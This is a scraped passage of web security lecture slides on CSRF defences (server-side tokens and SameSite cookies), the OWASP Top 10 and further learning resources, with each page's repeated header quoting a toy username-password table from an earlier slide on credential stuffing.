https://www.bank.com/transfer?to_account={name}&amount={amount}&token={generated_value}

Generate a token on the server-side and add the token to the request url

89

Page 130: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com/transfer?to_account={name}&amount={amount}&token={generated_value}

Generate a token on the server-side and add the token to the request url

Only the requests generated by banks will have valid tokens!Hard for the hacker to know what are the tokens

89

Page 131: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Notice for CRSF Token

• The server needs to remember the generated tokens.

• The server should change tokens frequently

• Node.js library

• https://github.com/expressjs/csurf

90

Page 132: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Method 2: SameSite Cookie

91

Page 133: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

SameSite Cookies• A http header setting that tells the browser do not

send cookies when the request is not coming from its origin url.

Set-Cookie:session_id=f7s8e9f98es3;

Set-Cookie:session_id=f7s8e9f98es3;SameSite=Lax

92

Page 134: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Two Modes of SameSite• “Strict” Mode

• Only send cookies for same-site requests

• “Lax” Mode (more common)

• Will send cookies for non-same-site requests when the user are navigating to the URL

• Supported by Chrome, Edge, Firefox, Opera

• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility

93

Page 135: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://blog.techbridge.cc/2017/02/25/csrf-introduction/

An interesting walkthrough for CSRF attacks (recommend to read)

94

Page 136: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

OWASP Top 10 Security Risks in 2020

Rank Name1 Injection2 Broken Authentication3 Sensitive Data Exposure4 XML External Entities (XXE)5 Broken Access Control6 Security Misconfiguration7 Cross-Site Scripting XSS8 Insecure Deserialization9 Using Components with Known Vulnerabilitie10 Insufficient Logging & Monitoring

https://owasp.org/www-project-top-ten/95

Page 137: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Resource

96

Page 138: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

OWASP Juice Shop

• An example project that is developed using JavaScript and contains many common vulnerabilities including OWASP top 10 risks.

• https://owasp.org/www-project-juice-shop/

97

Page 139: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Checklists• Node.js Security Checklist

• A checklist for developers to prevent security risks on Node.js.

• Security Checklist Developers

• A general security checklist for backend developers

98

Page 140: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

HITCON Zero Days• A website for users to report the vulnerabilities

they found.

• https://zeroday.hitcon.org/

99

Page 141: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Thank You

100